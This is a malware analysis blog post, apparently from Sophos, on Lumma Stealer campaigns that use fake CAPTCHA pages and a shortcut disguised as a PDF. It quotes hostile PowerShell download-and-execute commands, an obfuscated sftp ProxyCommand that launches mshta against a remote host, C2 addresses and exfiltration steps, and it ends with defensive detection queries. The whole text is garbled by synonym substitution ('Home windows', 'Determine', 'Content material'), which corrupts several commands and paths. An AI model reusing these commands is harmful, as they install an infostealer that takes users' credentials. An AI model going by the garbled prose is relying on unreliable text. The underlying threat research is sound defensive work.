In September 2024, a menace hunt throughout Sophos Managed Detection and Response’s telemetry uncovered a Lumma Stealer marketing campaign utilizing pretend CAPTCHA websites that instructed victims to stick a (malicious) PowerShell-encoded command into Home windows’ command-line interface. Subsequent investigations allowed us to dig deeply into the mechanics of the infamous data stealer. This publish recounts these discoveries, as seen in varied MDR investigations throughout the fall and winter of 2024-25.
Lumma Stealer fundamentals
Lumma Stealer has been energetic since mid-2022 and is believed to have originated with a Russian-language developer. Supplied as Malware-as-a-Service (MaaS), its maintainer sells entry to the stealer by way of Telegram and gives updates and person assist. Additional data is made out there on a devoted Gitbook website.
The infostealer targets quite a lot of valuables together with passwords, session tokens, cryptocurrency wallets, and private data from compromised gadgets. The menace is amplified by its crafty supply strategies. In a single occasion, the attacker manipulated customers’ belief in CAPTCHA challenges and employed social engineering techniques to deceive victims looking for software program downloads. In one other, extra simple case, the person was directed to a malicious website and prompted to open a file in Home windows Explorer.
The variations we noticed in Lumma Stealer habits are important to defenders, as a result of Lumma Stealer an infection has been extraordinarily widespread in latest months. That mentioned, the supply methods we noticed may simply be tailored to different malware past Lumma Stealer, making their documentation helpful. (An inventory of IoCs will probably be made out there on our GitHub repository.)
Our researchers are conscious of comparable work underway from Netskope Risk Labs, together with an estimate that as many as 5,000 fake-CAPTCHA websites could also be at present concerned in a Lumma Stealer-related marketing campaign. Likewise, researchers at Qualys have executed strong analysis to element the mechanisms Lumma Stealer has utilized in latest months. Sophos strongly recommends scrutiny of the IoCs these researchers have provided to the general public, along with our personal.
Investigation #1: The artwork(istsponsorship) of the steal
On this investigation, the noticed assault circulation with CAPTCHA involvement was comparatively simple: The attacker creates a malicious website, “protected” by a normal-looking CAPTCHA verification at hxxps[://]camplytic[.]com/go/cdff9f96-8cbd-4c44-b679-2f612a64cd00. The visiting person clicks on the acquainted I-am-not-a-robot field, as proven in Determine 1.
Determine 1: A well-known-seeming verification field
The person was subsequent redirected to a different alleged verification web page, hxxps[://]sos-at-vie-1[.]exo[.]io/store-as/cloudflare-new-artist[.]html, on which they have been requested to first load the Home windows “run” command, then press Cntl-V adopted by Enter, as proven in Determine 2.
Determine 2: The following “safety examine” request is considerably uncommon, however pretty simple for unwary customers
Behind the scenes, as soon as the person pastes the PowerShell command into the Run dialog field, it triggers a hid JavaScript perform that drops a PowerShell script onto the Clipboard and runs it in a hidden window:
C:WINDOWSsystem32WindowsPowerShellv1.0PowerShell.exe" -W Hidden -command $uR= hxxps[://]fixedzip[.]oss-ap-southeast5[.]aliyuncs[.]com/new-artist[.]txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content material; iex $t
That script retrieves the infostealer malware from a command-and-control (C2) server, and it’s off to the payload-retrieval races, as proven in Determine 3.
Determine 3: Assault circulation with CAPTCHA abuse; word that Lumma Stealer itself is loaded halfway by way of the method
When run, the PowerShell script retrieves the Lumma Stealer malware from an exterior server, initiating the obtain of the primary stage of the malicious payload onto the compromised system. The command
$uR=hxxps[://]fixedzip[.]oss-ap-southeast-5[.]aliyuncs[.]com/new-artist[.]txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content material; iex$t
retrieves the content material from the new-artist.txt file hosted on the exterior server. This content material is then processed and executed by way of the Invoke-Expression cmdlet.
This new-artist.txt file within the code above accommodates one other PowerShell script, which connects to hxxps[://]fixedzip[.]oss-ap-southeast-5[.]aliyuncs[.]com/artist[.]zip . This zipped copy of Lumma Stealer is downloaded to the goal machine, extracted into the person’s %AppData% path, and saved as ‘ArtistSponsorship.exe’ (sha256:e298cd6c5fe7b9b05a28480fd215ddcbd7aaa48a) for additional execution, as proven in Determine 4.
Determine 4: The toxic obtain
The ArtistSponsorship.exe file accommodates, amongst a number of dropped recordsdata as seen in Determine 5, the obfuscated AutoIt.exe script (sha256:05d8cf394190f3a707abfb25fb44d7da9d5f533d7d2063b23c00cc11253c8be7). These are dropped within the %temp% listing.
Determine 5: A number of recordsdata dropped into %temp% by ArtistSponsorship.exe
The AutoIT script does quite a few issues and contains shellcode. Amongst its actions, it connects to the C2 area snail-r1ced[.]cyou – IP 104.21.84[.]251 (CLOUDFLARENET). Lumma Stealer then targets person knowledge, login credentials from varied browsers, bitcoin wallets, and cookies. In Determine 6, AutoIt3.exe is accessing login knowledge and cookies utilized by the Chrome browser.
Determine 6: Catching AutoIT3.exe red-handed with Chrome login credentials (amongst different issues)
AutoIt3.exe then executes the script X.a3x to exfiltrate the captured Chrome login knowledge and cookies to the C2 IP104.21.84[.]251(CLOUDFLARENET). Within the case we noticed, a file of simply 6.37MB – the login knowledge and cookies — was efficiently exfiltrated, after which the AutoIt3.exe course of terminated.
Investigation #2: A deep dive into the code
On this part, we’ll dig much more deeply into the specifics of recordsdata and processes we encountered inside the payload supply chain. Within the case we’ll look at, the person inadvertently visited an contaminated website.
First, the person was prompted to open a PDF-format file in Home windows Explorer, as proven in Determine 7.
Determine 7: The person is making an attempt to load a PDF, however that’s not what’s about to occur
The file, apparently a PDF referred to as “Instruction_695-18014-012_Rev.PDF,” is definitely a remotely hosted .lnk (shortcut) file, as proven in Determine 8.
Determine 8: Home windows warns that that is really a shortcut, not a PDF
The shortcut file makes an attempt to execute an obfuscated PowerShell script, as proven in Determine 9.
Determine 9: The obfuscated script within the Goal area
The total textual content of the obfuscated script is
C:WindowsSystem32OpenSSHsftp.exe -o ProxyCommand="powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]' -replace ']') When a person executes the shortcut file, sftp.exe will execute the obfuscated command by way of the ProxyCommand flag. Nonetheless, sftp.exe doesn’t really set up the community connection itself; it delegates the duty to ssh.exe with a particular set of parameters:
"C:WindowsSystem32OpenSSHssh.exe" "-oForwardX11 no" "-oForwardAgent no" "-oPermitLocalCommand no" "-oClearAllForwardings sure" -o "ProxyCommand=powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]' -replace ']')" "-oProtocol 2" -s -- . sftp . As we see within the block of code above, the parameters exploit the ‘ProxyCommand’ choice. ProxyCommand specifies a command to run as an alternative of connecting on to the goal host. Within the above instance, ProxyCommand is ready to run PowerShell, which in flip executes mshta.exe to obtain and execute a distant script.
The primary PowerShell script execution is as proven in Determine 10.
Determine 10: The primary execution is revealed
This script processes AES-encrypted knowledge inside the aepcc perform, as proven in Determine 11.
Determine 11: Lumma Stealer’s creators didn’t select a weak encryption algorithm
In Determine 12, the AES key’s listed first. It’s adopted by an initialization vector (IV) of 16 bytes of zeroes; the IV is there so as to add randomness to the beginning of the encryption course of. Regardless of that, we decrypted the info utilizing CyberChef, as proven.
Determine 12: CyberChef begins to disclose what’s happening
Subsequent, we decoded the script from base64 – nearer to readable, however now a big mass of decimals, as proven in Determine 13.
Determine 13: The script comes into higher focus
The decimals in that mass of numbers are actually ASCII characters. An additional move by CyberChef, as proven in Determine 14, reveals that this can be a PE file, one designed to obtain additional payloads.
Determine 14: A PE file with a single malicious function
This script performs the next actions:
- Units variable ‘O’ equal to the C2 URL.
- Dynamically retrieve the ‘Load’ methodology from the .NET ‘System.Reflection.Meeting’ class.
The ‘Load’ methodology is then invoked on the worth of variable ‘oQ7’ (the obfuscated PE); this primarily hundreds the PE into reminiscence. - As displayed above, the PE accommodates a single static methodology named ‘aHdiNKuWlR’. This methodology downloads the content material of the URL handed to it using WebClient.
The script passes the worth of the ‘O’ variable (containing the C2 URL) to the PE loaded in reminiscence. - The ‘aHdiNKuWlR’ methodology outlined within the PE processes the URL handed to it by downloading its content material utilizing DownloadString.
- The ‘appdataroaming’ path is saved to the variable ‘Ikmg’.
- Operate ‘bOje’ is executed and performs the next actions:
- The perform first appends ‘i1040gi.pdf’ to the ‘Ikmg’ (file path) variable.
- Makes a name to perform ‘rlYDr’ and passes a singular identifier which is retrieved from the AES decrypted knowledge at place 103 with size 86, as proven in Determine 15.
Determine 15: A hexadecimal view of the distinctive identifier - Checks if the ‘appdataroamingi1040gi.pdf’ path doesn’t exist.
- If the file path doesn’t exist, executes perform ‘XSFbo’. This perform takes two parameters:
- ‘BtPdn’: This perform takes the distinctive identifier as an enter. It extracts a particular 100 characters from the AES-decrypted knowledge and makes use of it as a lookup desk to transform the distinctive identifier right into a URL. The ensuing URL is a authentic PDF doc from the IRS.
- The second parameter is the file path in variable ‘EVcD’ as proven in Determine 16.
Determine 16: The file path seems
After decoding the URL, perform ‘XSFbo’ takes the URL and downloads the contents utilizing ‘Web.WebClient’ (which was additionally decoded utilizing ‘BtnPdn’), then saves the PDF to the file path laid out in variable ‘EVcD’ as proven in Determine 17.
Determine 17: The file path seems once more, because the save vacation spot
Lastly, the PDF that was downloaded is executed, as proven in Figures 18 and 19.
Determine 18: There it’s…
Determine 19: …and there it goes
However wait! There’s extra!
To conclude this evaluation, let’s hint again to the levels earlier than the benign PDF is downloaded and executed.
We first seen that there was a dynamic retrieval of the ‘Load’ methodology, which was used to load the embedded PE that we decoded. Then we noticed a static methodology outlined contained in the PE that was being leveraged to obtain the following stage. Lastly, we see the downloaded script executed with ‘InvokeScript’. Let’s give attention to this subsequent stage.
The following stage that was downloaded is closely obfuscated with ineffective feedback and really lengthy variable names, as proven in Determine 20.
Determine 20: Mooncake, pasties, fritter, ragu, kebabs, taco… clearly somebody was obfuscating on an empty abdomen
As soon as de-obfuscated, we found that this script is liable for downloading a last stage. The script options dynamic decision of low-level Home windows APIs comparable to ‘GetProcAddress’, VirtualProtect’, and ‘AmsiInitialize’.
Detections
The next queries might show helpful for defenders looking for proof of Lumma Stealer of their programs.
Establish all menace recordsdata scripts/binaries from recognized SPIDs utilized to construct Lumma Stealer inside the final eight hours or inside a time vary:
SELECT
strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.time,'unixepoch')) dateTime,sfj.time AS epoch_time, spj.cmd_line, CASE sfj.event_type
WHEN 0 THEN 'Created'
WHEN 2 THEN 'Deleted'
END eventType, sfj.sophos_pid, sfj.path AS file_path, sfj.target_path, sfj.file_size, strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.creation_time,'unixepoch')) birth_time_utc, strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.last_write_time,'unixepoch')) modified_time_utc, spj.sid, u.username, sfj.sha256
FROM sophos_file_journal sfj
LEFT JOIN sophos_process_journal spj ON sfj.sophos_pid = spj.sophos_pid
LEFT JOIN customers u ON spj.sid = u.uuid
WHERE
sfj.sophos_pid IN ('', '', '', '')
AND
sfj.event_type IN (0, 2)
AND
sfj.time > strftime('%s', 'now', '-8 hour')
--sfj.time > strftime('%s','2024-11-13 04:44:32') AND sfj.time Establish potential exfiltration and C2:
SELECT
strftime('%Y-%m-%d %H:%M:%S', datetime(time,'unixepoch')) dateTime, *
FROM sophos_process_activity
WHERE sophos_pid IN ('', '', '', '')
AND topic IN ('Dns','FileOtherReads', 'Ip', 'RuntimeIOCs', 'Course of', 'Community')
AND time > strftime('%s', 'now', '-8 hour')
--AND time > strftime('%s','2024-11-13 04:44:32') AND time Establish the supply URL of the pretend CAPTCHA / verification immediate from the looking historical past:
SELECT f.path,f.listing,f.filename,f.dimension,strftime('%Y-%m-%d %H:%M:%S',datetime(f.mtime,'unixepoch')) AS modified_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.atime,'unixepoch')) AS last_access_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.ctime,'unixepoch')) AS change_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.btime,'unixepoch')) AS birth_time_utc,attributes, h.sha256 AS SHA256, h.sha1 AS SHA1, h.md5 AS MD5
FROM file f LEFT JOIN hash h on f.path = h.path
WHERE f.path LIKE 'C:UserspercentAppDataLocalGoogleChromeUser DatapercentHistory' -- Home windows historical past for Chrome
OR f.path LIKE 'C:UserspercentAppDataLocalMicrosoftEdgeUser DatapercentHistory' -- historical past for Edge
OR f.path LIKE 'C:UserspercentAppDataRoamingMozillaFirefoxProfilespercentplaces.sqlite' --Home windows historical past for Firefox;
OR f.path LIKE 'C:UserspercentAppDataRoamingMozillaFirefoxProfilespercentdownloads.sqlite' --Home windows historical past for Firefox;
order by f.mtime DESC Conclusion
Lumma Stealer stays a major menace as of this writing. The documented tactic of utilizing pretend CAPTCHA websites to lull victims into getting into a malicious command on their very own programs is an unpleasant twist on the scenario; Sophos’ endpoint safety counters the menace with a variety of malware detections and behavioral-analysis techniques, however educating customers to distrust CAPTCHAs, after so a few years of convincing them to reply them, is a heavy raise. As these training efforts increase, defenders are suggested to institute applicable endpoint-detection know-how and to bear in mind that the techniques of this all-too-common infostealer proceed to evolve.
Acknowledgements
Andrew Jaeger, Nayana V R, David Whitehall, and Waldemar Stiefvater contributed evaluate and constructive critique to this work.
Indicators of compromise
The IoCs compiled on this investigation are out there on our GitHub repository.
